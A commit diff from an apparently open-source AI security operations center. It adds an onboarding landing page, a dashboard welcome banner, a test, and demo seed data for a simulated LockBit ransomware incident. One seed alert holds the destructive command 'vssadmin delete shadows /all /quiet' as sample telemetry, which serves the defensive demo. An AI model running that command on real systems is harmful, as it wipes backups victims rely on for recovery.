Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

feat(web,api): WS-A2 — onboarding-first landing + LockBit demo seed

Beenu Arora025032bce4a9
diff --git a/apps/web/src/app/page.tsx b/apps/web/src/app/page.tsx
index eb77fd1c0..48b7d0159 100644
--- a/apps/web/src/app/page.tsx
+++ b/apps/web/src/app/page.tsx
@@ -1,42 +1,36 @@
import type { Metadata } from 'next';
import { LandingNav } from '@/components/landing/LandingNav';
-import { Hero } from '@/components/landing/Hero';
import { Features } from '@/components/landing/Features';
import { Architecture } from '@/components/landing/Architecture';
import { MitreStrip } from '@/components/landing/MitreStrip';
import { OpenSource } from '@/components/landing/OpenSource';
import { Footer } from '@/components/landing/Footer';
-import { DISCOVERY_KEYWORDS, getPublicSiteUrl } from '@/lib/site';
+import { StartHero } from '@/components/onboarding/StartHero';
+
+/**
+ * AiSOC root (`/`) — onboarding-first landing page (WS-A2).
+ *
+ * The plan asks the root to be an onboarding surface, not a marketing page:
+ * three CTAs (Try the demo / Connect first source / Skip & explore) live
+ * above the fold, with platform context (features, architecture, MITRE,
+ * open-source pitch) reused below for visitors who want to read more before
+ * clicking. The legacy hero/CTA strip is intentionally retired — buyers
+ * shouldn't have to choose between "open the demo" and "open console" without
+ * context. The new hero collapses both into a single primary path.
+ */
export const metadata: Metadata = {
- title: 'AiSOC — Free Open-Source AI Security Operations Center | Self-Hosted SOC',
+ title: 'AiSOC — open-source AI Security Operations Center',
description:
- 'AiSOC is a free, MIT-licensed AI-powered SOC platform. Features: real-time threat detection, alert fusion, MITRE ATT&CK investigation, purple-team simulations, detection-as-code, and eval-gated agentic triage. Self-host or try the live demo at tryaisoc.com.',
- keywords: [...DISCOVERY_KEYWORDS],
- alternates: { canonical: getPublicSiteUrl() },
- openGraph: {
- title: 'AiSOC — Free Open-Source AI Security Operations Center',
- description:
- 'Self-hostable AI SOC: threat detection, alert fusion, MITRE ATT&CK mapping, purple-team drills, and detection-as-code. MIT licensed, community-driven. Try tryaisoc.com.',
- url: getPublicSiteUrl(),
- images: [{ url: '/og-image.svg', width: 1200, height: 630, alt: 'AiSOC platform dashboard' }],
- type: 'website',
- siteName: 'AiSOC',
- },
- twitter: {
- card: 'summary_large_image',
- title: 'AiSOC — Free Open-Source AI SOC Platform',
- description:
- 'AI-powered SOC: threat detection, alert fusion, purple team, MITRE ATT&CK, detection-as-code. Self-host free — tryaisoc.com.',
- site: '@aisoc_dev',
- },
+ 'Open-source AI SOC: 200-incident eval harness, 26 click-and-connect security sources, MITRE ATT&CK-mapped autonomous investigation. Try the live demo or self-host in under 5 minutes.',
+ alternates: { canonical: '/' },
};
-export default function LandingPage() {
+export default function HomePage() {
return (
<main className="relative min-h-screen overflow-x-hidden bg-surface-base text-white">
<LandingNav />
- <Hero />
+ <StartHero />
<Features />
<Architecture />
<MitreStrip />
diff --git a/apps/web/src/components/dashboard/DashboardView.tsx b/apps/web/src/components/dashboard/DashboardView.tsx
index f983ccc3b..a53355cc2 100644
--- a/apps/web/src/components/dashboard/DashboardView.tsx
+++ b/apps/web/src/components/dashboard/DashboardView.tsx
@@ -8,6 +8,7 @@ import dynamic from 'next/dynamic';
import { format } from 'date-fns';
import { LiveFeedPanel } from './LiveFeedPanel';
import { SOCMetricsDashboard } from './SOCMetricsDashboard';
+import { DashboardWelcome } from './DashboardWelcome';
const RechartsArea = dynamic(
() => import('recharts').then((m) => {
@@ -236,6 +237,7 @@ export function DashboardView() {
return (
<DashboardErrorBoundary>
<div className="space-y-5">
+ <DashboardWelcome />
{/* Header */}
<div className="flex items-center justify-between">
<div>
diff --git a/apps/web/src/components/dashboard/DashboardWelcome.tsx b/apps/web/src/components/dashboard/DashboardWelcome.tsx
new file mode 100644
index 000000000..4ea94a009
--- /dev/null
+++ b/apps/web/src/components/dashboard/DashboardWelcome.tsx
@@ -0,0 +1,116 @@
+'use client';
+
+import Link from 'next/link';
+import { useEffect, useState } from 'react';
+import { useRouter, useSearchParams } from 'next/navigation';
+
+/**
+ * Empty-state coaching banner shown after the "Skip & explore" CTA on the
+ * onboarding root page (WS-A2). Triggered by `?welcome=1`.
+ *
+ * The banner explains the three highest-leverage next steps an operator can
+ * take from a cold dashboard, then self-clears the querystring so a refresh
+ * doesn't re-trigger it. We deliberately keep this lightweight — WS-F5 owns
+ * the deep empty-state polish for every list view.
+ */
+export function DashboardWelcome() {
+ const router = useRouter();
+ const params = useSearchParams();
+ const [open, setOpen] = useState(false);
+
+ useEffect(() => {
+ if (params?.get('welcome') === '1') setOpen(true);
+ }, [params]);
+
+ const dismiss = () => {
+ setOpen(false);
+ // Drop the querystring so a refresh / share-link doesn't keep re-mounting
+ // the banner. We keep the path intact and use a shallow replace so the
+ // dashboard doesn't re-fetch its SWR data.
+ if (typeof window !== 'undefined') {
+ const url = new URL(window.location.href);
+ url.searchParams.delete('welcome');
+ router.replace(`${url.pathname}${url.search ? `?${url.searchParams.toString()}` : ''}`);
+ }
+ };
+
+ if (!open) return null;
+
+ return (
+ <section
+ role="region"
+ aria-label="Welcome to AiSOC"
+ data-testid="dashboard-welcome"
+ className="rounded-xl border border-brand-400/30 bg-gradient-to-br from-brand-500/10 to-brand-700/5 p-5"
+ >
+ <div className="flex items-start justify-between gap-4">
+ <div>
+ <p className="text-xs font-semibold uppercase tracking-wider text-brand-300">
+ Welcome to AiSOC
+ </p>
+ <h2 className="mt-1 text-lg font-semibold text-white">
+ You&apos;re looking at a clean console. Here&apos;s how to make it useful.
+ </h2>
+ </div>
+ <button
+ type="button"
+ onClick={dismiss}
+ aria-label="Dismiss welcome message"
+ className="rounded-md p-1.5 text-gray-400 transition hover:bg-white/5 hover:text-white"
+ >
+ <svg viewBox="0 0 20 20" className="h-4 w-4" fill="currentColor" aria-hidden="true">
+ <path d="M6.28 5.22a.75.75 0 011.06 0L10 7.88l2.66-2.66a.75.75 0 111.06 1.06L11.06 8.94l2.66 2.66a.75.75 0 11-1.06 1.06L10 10l-2.66 2.66a.75.75 0 11-1.06-1.06l2.66-2.66-2.66-2.66a.75.75 0 010-1.06z" />
+ </svg>
+ </button>
+ </div>
+
+ <ul className="mt-4 grid gap-3 sm:grid-cols-3">
+ <Tip
+ step="1"
+ title="Connect a source"
+ body="Pick from 26 vendors. EDR + cloud + IAM gives the agent enough signal to start triaging."
+ cta={{ label: 'Open the connector gallery →', href: '/onboarding' }}
+ />
+ <Tip
+ step="2"
+ title="Or load the demo seed"
+ body="Run pnpm seed:demo and refresh. You'll get an in-flight LockBit case to investigate."
+ cta={{ label: 'Open a sample case →', href: '/cases/INC-RT-001?tab=ledger' }}
+ />
+ <Tip
+ step="3"
+ title="Browse playbooks"
+ body="25 named runbooks for ransomware, BEC, account takeover, cloud-TO, and more."
+ cta={{ label: 'Open the playbook gallery →', href: '/playbooks' }}
+ />
+ </ul>
+ </section>
+ );
+}
+
+function Tip({
+ step,
+ title,
+ body,
+ cta,
+}: {
+ step: string;
+ title: string;
+ body: string;
+ cta: { label: string; href: string };
+}) {
+ return (
+ <li className="rounded-lg border border-white/5 bg-surface-card/60 p-4">
+ <div className="flex items-center gap-2">
+ <span className="inline-flex h-6 w-6 items-center justify-center rounded-full bg-brand-500/20 text-xs font-bold text-brand-200">
+ {step}
+ </span>
+ <h3 className="text-sm font-semibold text-white">{title}</h3>
+ </div>
+ <p className="mt-2 text-xs leading-relaxed text-gray-400">{body}</p>
+ <Link href={cta.href} className="mt-3 inline-block text-xs font-semibold text-brand-300 hover:text-brand-200">
+ {cta.label}
+ </Link>
+ </li>
+ );
+}
diff --git a/apps/web/src/components/onboarding/StartHero.test.tsx b/apps/web/src/components/onboarding/StartHero.test.tsx
new file mode 100644
index 000000000..28e14f570
--- /dev/null
+++ b/apps/web/src/components/onboarding/StartHero.test.tsx
@@ -0,0 +1,80 @@
+import { describe, expect, it, vi } from 'vitest';
+import { render, screen } from '@testing-library/react';
+
+vi.mock('next/link', () => ({
+ default: ({
+ children,
+ href,
+ ...rest
+ }: {
+ children: React.ReactNode;
+ href: string;
+ } & Record<string, unknown>) => (
+ <a href={href} {...(rest as Record<string, unknown>)}>
+ {children}
+ </a>
+ ),
+}));
+
+vi.mock('next/navigation', () => ({
+ useRouter: () => ({ push: vi.fn(), replace: vi.fn() }),
+}));
+
+vi.mock('framer-motion', () => {
+ const factory = (Tag: React.ElementType) =>
+ function MotionStub(props: Record<string, unknown>) {
+ const { children, ...rest } = props as {
+ children?: React.ReactNode;
+ } & Record<string, unknown>;
+ delete (rest as Record<string, unknown>).initial;
+ delete (rest as Record<string, unknown>).animate;
+ delete (rest as Record<string, unknown>).transition;
+ delete (rest as Record<string, unknown>).whileHover;
+ delete (rest as Record<string, unknown>).whileTap;
+ return <Tag {...(rest as Record<string, unknown>)}>{children}</Tag>;
+ };
+ return {
+ motion: new Proxy({}, { get: (_t, key: string) => factory(key as React.ElementType) }),
+ };
+});
+
+vi.mock('react-hot-toast', () => ({
+ default: { error: vi.fn(), success: vi.fn() },
+}));
+
+vi.mock('@/lib/api', () => ({
+ authApi: {
+ isAuthenticated: () => false,
+ login: vi.fn(),
+ },
+}));
+
+import { StartHero } from './StartHero';
+
+describe('StartHero', () => {
+ it('renders the three onboarding CTAs from WS-A2', () => {
+ render(<StartHero />);
+
+ // 1. Try the demo — silent demo login button.
+ expect(screen.getByTestId('cta-try-demo')).toHaveTextContent(/Try the demo/i);
+
+ // 2. Connect first source — links to /onboarding gallery.
+ const connect = screen.getByTestId('cta-connect-source');
+ expect(connect).toHaveTextContent(/Connect first source/i);
+ expect(connect).toHaveAttribute('href', '/onboarding');
+
+ // 3. Skip & explore — links to dashboard with the welcome querystring so
+ // the `DashboardWelcome` empty-state coach card mounts.
+ const skip = screen.getByTestId('cta-skip');
+ expect(skip).toHaveTextContent(/Skip & explore/i);
+ expect(skip).toHaveAttribute('href', '/dashboard?welcome=1');
+ });
+
+ it('promises a working SOC instead of a blank dashboard', () => {
+ render(<StartHero />);
+ expect(screen.getByRole('heading', { level: 1 })).toHaveTextContent(/3 minutes/i);
+ // Buyer-value plan is explicit: every CTA must "land you in a working SOC,
+ // not a blank dashboard." That promise is the page's contract.
+ expect(screen.getByText(/working SOC, not a blank dashboard/i)).toBeInTheDocument();
+ });
+});
diff --git a/apps/web/src/components/onboarding/StartHero.tsx b/apps/web/src/components/onboarding/StartHero.tsx
new file mode 100644
index 000000000..0fc4bc570
--- /dev/null
+++ b/apps/web/src/components/onboarding/StartHero.tsx
@@ -0,0 +1,347 @@
+'use client';
+
+import { useRouter } from 'next/navigation';
+import Link from 'next/link';
+import { useState } from 'react';
+import { motion } from 'framer-motion';
+import toast from 'react-hot-toast';
+import { authApi } from '@/lib/api';
+import { demoDeeplink } from '@/lib/demoMode';
+
+/**
+ * Onboarding hero for the AiSOC root (`/`).
+ *
+ * Implements the three CTAs from `aisoc_v1.0__buyer-value_plan` WS-A2:
+ *
+ * 1. Try the demo → silently logs in with the demo credentials and
+ * deeplinks to the in-flight LockBit ransomware
+ * investigation (`/cases/INC-RT-001?tab=ledger`).
+ * If the API rejects login (clean self-host that
+ * hasn't seeded yet), surface a friendly toast that
+ * points the operator at `pnpm seed:demo`.
+ *
+ * 2. Connect first source → routes to `/onboarding`, the existing connector
+ * gallery. New self-hosters get a guided
+ * "click and connect" flow with an encrypted
+ * credential vault.
+ *
+ * 3. Skip & explore → routes to `/dashboard?welcome=1`. The querystring
+ * triggers a one-time empty-state coach card so a
+ * cold dashboard doesn't feel broken.
+ *
+ * Why these three specifically? The plan calls out a "stopwatch
+ * clone-to-investigation ≤ 5 min on clean Mac" acceptance criterion. The first
+ * CTA collapses that to a single click. The second is the path for operators
+ * who arrived with their own data. The third is the "let me poke around"
+ * escape hatch that respects the buyer's time.
+ */
+export function StartHero() {
+ const router = useRouter();
+ const [demoBusy, setDemoBusy] = useState(false);
+
+ const handleTryDemo = async () => {
+ if (demoBusy) return;
+ setDemoBusy(true);
+ const target = demoDeeplink();
+
+ // The default seed credentials live in the README and `seed_demo.py`.
+ // We attempt login silently; on failure we keep the user on the
+ // landing page and explain how to seed. We do NOT redirect to /login
+ // because the empty error state on a fresh self-host is more
+ // informative than a generic password prompt.
+ const email = process.env.NEXT_PUBLIC_DEMO_AUTOLOGIN_EMAIL?.trim() || '[email protected]';
+ const password = process.env.NEXT_PUBLIC_DEMO_AUTOLOGIN_PASSWORD?.trim() || 'aisoc-demo';
+
+ try {
+ if (!authApi.isAuthenticated()) {
+ await authApi.login(email, password);
+ }
+ router.push(target);
+ } catch (err) {
+ const detail = err instanceof Error ? err.message : 'Login failed';
+ toast.error(
+ `Could not auto-load the demo (${detail}). Run "pnpm seed:demo" or sign in via /login.`,
+ { duration: 6000 },
+ );
+ } finally {
+ setDemoBusy(false);
+ }
+ };
+
+ return (
+ <section className="relative isolate overflow-hidden pt-32 pb-20 md:pt-40 md:pb-28">
+ <div className="mx-auto grid max-w-7xl grid-cols-1 items-center gap-16 px-6 lg:grid-cols-[1.1fr_1fr]">
+ {/* Copy column */}
+ <motion.div
+ initial={{ opacity: 0, y: 12 }}
+ animate={{ opacity: 1, y: 0 }}
+ transition={{ duration: 0.6, ease: 'easeOut' }}
+ >
+ <span className="inline-flex items-center gap-2 rounded-full border border-brand-400/30 bg-brand-500/10 px-3 py-1 text-xs font-semibold uppercase tracking-wider text-brand-200">
+ Open-source · MIT · self-hostable
+ </span>
+
+ <h1 className="mt-6 text-balance text-5xl font-bold leading-[1.05] tracking-tight text-white md:text-6xl lg:text-7xl">
+ Start triaging in 3 minutes.
+ </h1>
+
+ <p className="mt-6 max-w-xl text-lg leading-relaxed text-gray-300 md:text-xl">
+ AiSOC ships a 200-incident eval harness, a pre-seeded LockBit 3.0
+ investigation, and 26 click-and-connect security sources. Pick how
+ you want to start — every option lands you in a working SOC, not a
+ blank dashboard.
+ </p>
+
+ {/* Three primary CTAs */}
+ <div className="mt-10 grid gap-3 sm:grid-cols-3">
+ <button
+ type="button"
+ onClick={handleTryDemo}
+ disabled={demoBusy}
+ data-testid="cta-try-demo"
+ className="group flex flex-col items-start gap-2 rounded-xl border border-brand-400/30 bg-brand-500/15 p-5 text-left transition hover:border-brand-300/60 hover:bg-brand-500/25 disabled:cursor-progress disabled:opacity-70"
+ >
+ <span className="inline-flex h-8 w-8 items-center justify-center rounded-lg bg-brand-500/30 text-base">
+ ⚡
+ </span>
+ <span className="text-base font-semibold text-white">
+ {demoBusy ? 'Loading demo…' : 'Try the demo'}
+ </span>
+ <span className="text-xs leading-relaxed text-gray-300">
+ Auto-loads the seed and drops you into a live ransomware case.
+ </span>
+ </button>
+
+ <Link
+ href="/onboarding"
+ data-testid="cta-connect-source"
+ className="group flex flex-col items-start gap-2 rounded-xl border border-white/10 bg-white/[0.04] p-5 text-left transition hover:border-white/30 hover:bg-white/[0.08]"
+ >
+ <span className="inline-flex h-8 w-8 items-center justify-center rounded-lg bg-emerald-500/20 text-base">
+ ⚙
+ </span>
+ <span className="text-base font-semibold text-white">
+ Connect first source
+ </span>
+ <span className="text-xs leading-relaxed text-gray-300">
+ Pick from 26 connectors — EDR, SIEM, cloud, IAM. Credentials
+ stay encrypted.
+ </span>
+ </Link>
+
+ <Link
+ href="/dashboard?welcome=1"
+ data-testid="cta-skip"
+ className="group flex flex-col items-start gap-2 rounded-xl border border-white/10 bg-white/[0.04] p-5 text-left transition hover:border-white/30 hover:bg-white/[0.08]"
+ >
+ <span className="inline-flex h-8 w-8 items-center justify-center rounded-lg bg-white/10 text-base">
+ →
+ </span>
+ <span className="text-base font-semibold text-white">
+ Skip &amp; explore
+ </span>
+ <span className="text-xs leading-relaxed text-gray-300">
+ Open the console as-is. We&apos;ll show inline coaching where
+ things are quiet.
+ </span>
+ </Link>
+ </div>
+
+ <p className="mt-4 text-xs text-gray-500">
+ Already have an account? <Link href="/login" className="font-semibold text-brand-300 hover:text-brand-200">Sign in</Link>.
+ </p>
+
+ <dl className="mt-12 grid grid-cols-4 gap-5 border-t border-white/5 pt-8">
+ <Stat label="Connectors" value="26" caption="EDR, SIEM, cloud, IAM, SaaS" />
+ <Stat label="Agent decisions" value="Ledger" caption="prompt + tool + rationale per step" />
+ <Stat label="Eval harness" value="200 cases" caption="runs in CI on every PR to main" />
+ <Stat label="License" value="MIT" caption="audit, fork, self-host" />
+ </dl>
+ </motion.div>
+
+ {/* Visual column — same hero card as the legacy landing page so we
+ don't lose the recognisable look of the docs/screenshots while we
+ iterate. The copilot tooltip is updated to mirror INC-RT-001. */}
+ <motion.div
+ initial={{ opacity: 0, y: 24 }}
+ animate={{ opacity: 1, y: 0 }}
+ transition={{ duration: 0.7, ease: 'easeOut', delay: 0.1 }}
+ className="relative"
+ >
+ <HeroVisual />
+ </motion.div>
+ </div>
+ </section>
+ );
+}
+
+function Stat({ label, value, caption }: { label: string; value: string; caption: string }) {
+ return (
+ <div>
+ <dt className="text-xs font-semibold uppercase tracking-wider text-gray-500">{label}</dt>
+ <dd className="mt-2 text-2xl font-bold text-white">{value}</dd>
+ <p className="mt-1 text-xs text-gray-500">{caption}</p>
+ </div>
+ );
+}
+
+/**
+ * Layered visual: an attack-graph card with a copilot thread peeking from the
+ * bottom-right. Pure SVG/Tailwind. The graph nodes mirror the seeded
+ * `INC-RT-001` LockBit scenario so the visual is consistent with the demo
+ * deeplink ("WF-04 → SRV-FIN-04 → DC-01 → backup").
+ */
+function HeroVisual() {
+ return (
+ <div className="relative aspect-[5/4]">
+ <motion.div
+ initial={{ opacity: 0, scale: 0.96 }}
+ animate={{ opacity: 1, scale: 1 }}
+ transition={{ duration: 0.6, delay: 0.15 }}
+ className="absolute inset-0 overflow-hidden rounded-2xl border border-white/10 bg-surface-card/90 shadow-2xl backdrop-blur"
+ >
+ <div className="flex items-center gap-2 border-b border-white/5 bg-surface-raised/60 px-4 py-3">
+ <span className="h-2.5 w-2.5 rounded-full bg-rose-400/80" />
+ <span className="h-2.5 w-2.5 rounded-full bg-amber-400/80" />
+ <span className="h-2.5 w-2.5 rounded-full bg-emerald-400/80" />
+ <span className="ml-3 text-xs font-medium text-gray-500">aisoc · INC-RT-001 · live</span>
+ <span className="ml-auto inline-flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-rose-300">
+ <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-rose-400" />
+ In-flight
+ </span>
+ </div>
+ <SignalMap />
+ </motion.div>
+
+ <motion.div
+ initial={{ opacity: 0, y: 16 }}
+ animate={{ opacity: 1, y: 0 }}
+ transition={{ duration: 0.6, delay: 0.45 }}
+ className="absolute -bottom-6 -right-4 w-72 rounded-xl border border-white/10 bg-surface-card/95 p-4 shadow-2xl backdrop-blur sm:-right-8 sm:w-80"
+ >
+ <div className="mb-2 flex items-center gap-2 text-xs font-semibold text-gray-400">
+ <span className="inline-flex h-6 w-6 items-center justify-center rounded-md bg-brand-500 text-[11px] font-bold text-white">A</span>
+ AiSOC Agent
+ <span className="ml-auto text-[10px] font-medium uppercase tracking-wider text-emerald-300">streaming</span>
+ </div>
+ <p className="text-sm leading-relaxed text-gray-200">
+ LockBit 3.0 detector fired on{' '}
+ <span className="rounded bg-rose-500/15 px-1 font-mono text-rose-200">SRV-FIN-04</span>{' '}
+ — ~12k files encrypting. Mapped to{' '}
+ <span className="font-mono text-amber-300">T1486</span>. Containment ready for approval.
+ </p>
+ <div className="mt-3 flex gap-2">
+ <button className="rounded-md bg-rose-500/90 px-2.5 py-1 text-xs font-semibold text-white">Isolate host</button>
+ <button className="rounded-md border border-white/10 bg-white/[0.04] px-2.5 py-1 text-xs font-semibold text-gray-300">View ledger</button>
+ </div>
+ </motion.div>
+ </div>
+ );
+}
+
+function SignalMap() {
+ const nodes = [
+ { id: 'inet', x: 60, y: 60, label: 'Internet', kind: 'edge' },
+ { id: 'wf', x: 180, y: 95, label: 'WF-04', kind: 'host' },
+ { id: 'srv', x: 305, y: 145, label: 'SRV-FIN-04', kind: 'host-crit' },
+ { id: 'dc', x: 430, y: 100, label: 'DC-01', kind: 'host-warn' },
+ { id: 'bkp', x: 305, y: 245, label: 'Backup', kind: 'host-warn' },
+ { id: 'idp', x: 110, y: 220, label: 'Okta', kind: 'idp' },
+ ];
+ const edges: Array<[string, string, 'normal' | 'warn' | 'crit']> = [
+ ['inet', 'wf', 'normal'],
+ ['wf', 'srv', 'crit'],
+ ['srv', 'dc', 'warn'],
+ ['srv', 'bkp', 'warn'],
+ ['idp', 'wf', 'normal'],
+ ];
+
+ const nodeFill: Record<string, string> = {
+ edge: '#1e293b',
+ host: '#1e293b',
+ 'host-warn': '#7c2d12',
+ 'host-crit': '#7f1d1d',
+ idp: '#1e3a8a',
+ };
+ const nodeStroke: Record<string, string> = {
+ edge: '#475569',
+ host: '#3b82f6',
+ 'host-warn': '#f97316',
+ 'host-crit': '#ef4444',
+ idp: '#60a5fa',
+ };
+ const edgeStroke: Record<string, string> = {
+ normal: 'rgba(96,165,250,0.5)',
+ warn: 'rgba(249,115,22,0.7)',
+ crit: 'rgba(239,68,68,0.85)',
+ };
+
+ return (
+ <div className="relative h-[calc(100%-44px)] w-full">
+ <div className="absolute right-3 top-3 flex flex-col gap-1.5 text-[9px] font-mono">
+ {[
+ { id: 'T1078', label: 'Valid Accts', tone: 'gray' },
+ { id: 'T1021', label: 'Remote Svcs', tone: 'warn' },
+ { id: 'T1486', label: 'Impact', tone: 'crit' },
+ { id: 'T1490', label: 'Inhibit Recovery', tone: 'warn' },
+ ].map((t) => (
+ <div
+ key={t.id}
+ className={
+ 'rounded px-1.5 py-0.5 ' +
+ (t.tone === 'crit'
+ ? 'bg-rose-500/20 text-rose-200'
+ : t.tone === 'warn'
+ ? 'bg-amber-500/20 text-amber-200'
+ : 'bg-white/5 text-gray-400')
+ }
+ >
+ {t.id} · {t.label}
+ </div>
+ ))}
+ </div>
+
+ <svg viewBox="0 0 500 320" className="absolute inset-0 h-full w-full">
+ {edges.map(([from, to, tone], i) => {
+ const a = nodes.find((n) => n.id === from)!;
+ const b = nodes.find((n) => n.id === to)!;
+ return (
+ <g key={i}>
+ <line
+ x1={a.x}
+ y1={a.y}
+ x2={b.x}
+ y2={b.y}
+ stroke={edgeStroke[tone]}
+ strokeWidth={tone === 'crit' ? 2 : 1.5}
+ strokeDasharray={tone === 'crit' ? '0' : '4 4'}
+ />
+ </g>
+ );
+ })}
+ {nodes.map((n) => (
+ <g key={n.id}>
+ <circle
+ cx={n.x}
+ cy={n.y}
+ r={n.kind === 'host-crit' ? 18 : 14}
+ fill={nodeFill[n.kind]}
+ stroke={nodeStroke[n.kind]}
+ strokeWidth="2"
+ />
+ <text
+ x={n.x}
+ y={n.y + (n.kind === 'host-crit' ? 34 : 30)}
+ textAnchor="middle"
+ fill="#cbd5e1"
+ fontSize="10"
+ fontFamily="ui-monospace, monospace"
+ >
+ {n.label}
+ </text>
+ </g>
+ ))}
+ </svg>
+ </div>
+ );
+}
diff --git a/apps/web/src/lib/demoMode.ts b/apps/web/src/lib/demoMode.ts
index f9fe4fa29..f2d1c3893 100644
--- a/apps/web/src/lib/demoMode.ts
+++ b/apps/web/src/lib/demoMode.ts
@@ -46,11 +46,15 @@ export function demoBannerMessage(): string {
/**
* Deeplink to land visitors directly on a live, mid-investigation view.
- * Default targets `/cases/INC-001?tab=ledger` because the seed kicks off
- * an investigation against `INC-001` and the ledger tab streams events.
+ *
+ * Default targets `/cases/INC-RT-001?tab=ledger` — the in-flight LockBit 3.0
+ * ransomware investigation seeded by `services/api/app/scripts/seed_demo.py`.
+ * `INC-RT-001` is the showcase scenario: detector fired moments ago, encryption
+ * is in progress, and the ledger streams the agent's live decisions. Operators
+ * can override with `NEXT_PUBLIC_DEMO_DEEPLINK` to feature a different incident.
*/
export function demoDeeplink(): string {
- return process.env.NEXT_PUBLIC_DEMO_DEEPLINK?.trim() || '/cases/INC-001?tab=ledger';
+ return process.env.NEXT_PUBLIC_DEMO_DEEPLINK?.trim() || '/cases/INC-RT-001?tab=ledger';
}
/**
diff --git a/services/api/app/scripts/seed_demo.py b/services/api/app/scripts/seed_demo.py
index b4e2803eb..3638ff8ab 100644
--- a/services/api/app/scripts/seed_demo.py
+++ b/services/api/app/scripts/seed_demo.py
@@ -14,6 +14,7 @@ auth bypass and the seeded data agree on who "[email protected]" is.
from __future__ import annotations
import asyncio
+import hashlib
import random
import sys
import uuid
@@ -32,6 +33,11 @@ from app.db.database import AsyncSessionLocal
from app.models.alert import Alert
from app.models.case import Case, CaseTask, CaseTimeline
from app.models.connector import Connector
+from app.models.investigation import (
+ InvestigationArtifact,
+ InvestigationEvent,
+ InvestigationRun,
+)
from app.models.tenant import Tenant, User
# Deterministic random for reproducible seeds.
@@ -248,6 +254,954 @@ _USERS = [
]
+# ─── Realistic incidents (BOTS / SecRepo-shaped) ───────────────────────────────
+#
+# 15 named, parameterised incident scenarios that ride on top of the random
+# `_make_alert` corpus. Each scenario emits 1–3 alerts with telemetry shaped like
+# Splunk BOTS / SecRepo public datasets (Sysmon, CloudTrail, Okta system log,
+# Suricata, kube:audit, etc.) so investigators in the demo see field names they
+# already recognise. The first scenario (INC-RT-001 LockBit 3.0) is the
+# "in-flight investigation" showcase — see `_seed_in_flight_investigation`.
+
+_REALISTIC_INCIDENTS: list[dict] = [
+ {
+ "key": "INC-RT-001",
+ "title": "LockBit 3.0 ransomware lateral spread on WIN-FIN-DB01",
+ "description": (
+ "Service account `svc-backup` triggered shadow-copy deletion, ransom-note "
+ "drop and SMB lateral movement to FIN-DB02. CrowdStrike encryption-pattern "
+ "detector fired against ~12k files. Investigation is in-flight; host is "
+ "being isolated."
+ ),
+ "severity": "critical",
+ "status": "in_progress",
+ "host": "WIN-FIN-DB01",
+ "user": "[email protected]",
+ "src_ip": "203.0.113.42",
+ "tactic_ids": ["TA0002", "TA0005", "TA0008", "TA0040"],
+ "technique_ids": ["T1059.001", "T1027", "T1021.002", "T1486"],
+ "tags": ["ransomware", "lockbit", "in_flight", "showcase"],
+ "alerts": [
+ {
+ "title": "Sysmon: vssadmin shadow-copy deletion on WIN-FIN-DB01",
+ "severity": "critical",
+ "source": "Microsoft Sysmon",
+ "category": "edr",
+ "sourcetype": "XmlWinEventLog:Microsoft-Windows-Sysmon/Operational",
+ "process": "vssadmin.exe",
+ "ai_score": 0.97,
+ "extra": {
+ "EventID": 1,
+ "ProcessId": 4892,
+ "ParentImage": r"C:\Windows\System32\cmd.exe",
+ "Image": r"C:\Windows\System32\vssadmin.exe",
+ "CommandLine": "vssadmin delete shadows /all /quiet",
+ "User": "NT AUTHORITY\\SYSTEM",
+ "IntegrityLevel": "System",
+ "Hashes": "SHA256=4DA1F312A214C07143ABEEAFB695D904",
+ },
+ },
+ {
+ "title": "CrowdStrike: high-volume file modification pattern on WIN-FIN-DB01",
+ "severity": "critical",
+ "source": "CrowdStrike Falcon",
+ "category": "edr",
+ "sourcetype": "crowdstrike:falcon:json",
+ "process": "explorer.exe",
+ "ai_score": 0.96,
+ "extra": {
+ "DetectId": "ldt:abc123:lockbit-encrypt",
+ "PatternDispositionDescription": "Prevention, process killed.",
+ "Severity": 5,
+ "Tactic": "Impact",
+ "Technique": "Data Encrypted for Impact",
+ "FilesModified": 12384,
+ "FileExtensionWritten": ".lockbit",
+ "ComputerName": "WIN-FIN-DB01",
+ "UserName": "svc-backup",
+ },
+ },
+ {
+ "title": "WinEventLog: SMB lateral connection to FIN-DB02 from WIN-FIN-DB01",
+ "severity": "high",
+ "source": "Windows Security",
+ "category": "siem",
+ "sourcetype": "WinEventLog:Security",
+ "process": "lsass.exe",
+ "ai_score": 0.83,
+ "extra": {
+ "EventCode": 4624,
+ "LogonType": 3,
+ "TargetUserName": "svc-backup",
+ "WorkstationName": "WIN-FIN-DB01",
+ "IpAddress": "10.42.1.87",
+ "TargetServerName": "FIN-DB02",
+ "AuthenticationPackageName": "NTLM",
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "ransomware-containment-v3",
+ "playbook_name": "Ransomware Containment & Eradication",
+ "status": "running",
+ "context": {
+ "incident_severity": "critical",
+ "host": "WIN-FIN-DB01",
+ "user": "[email protected]",
+ "trigger": "ransomware-encryption-pattern",
+ },
+ "steps": [
+ ("isolate-host", "Isolate host via CrowdStrike RTR", "completed",
+ {"action": "endpoint.isolate", "target": "WIN-FIN-DB01", "result": "contained", "duration_ms": 4_120}),
+ ("snapshot-disk", "Capture forensic disk image to S3", "completed",
+ {"action": "endpoint.snapshot", "target": "WIN-FIN-DB01",
+ "snapshot_id": "snap-0c7f1aa9", "duration_ms": 96_350}),
+ ("block-c2", "Block known LockBit C2 ranges on perimeter", "completed",
+ {"action": "network.block_ip", "targets": ["203.0.113.42", "198.51.100.71"], "duration_ms": 2_980}),
+ ("kill-encryption-process", "Kill encryption process on host", "running",
+ {"action": "endpoint.kill_process", "process_name": "lockbit.exe", "started_at_offset_s": 240}),
+ ("rotate-credentials", "Rotate svc-backup credentials in AD + secrets vault", "pending", {}),
+ ("notify-stakeholders", "Open ticket, page incident commander, notify legal", "pending", {}),
+ ],
+ },
+ "in_flight_investigation": True,
+ },
+ {
+ "key": "INC-RT-002",
+ "title": "BEC + wire-fraud chain via OAuth-consent phishing of [email protected]",
+ "description": (
+ "Spear-phishing email impersonating CFO led `[email protected]` to consent "
+ "to a malicious OAuth app. Inbox-rule auto-forwarded all CFO threads to an "
+ "external mailbox; a $250k wire transfer was initiated and reversed by "
+ "treasury before clearing."
+ ),
+ "severity": "critical",
+ "status": "resolved",
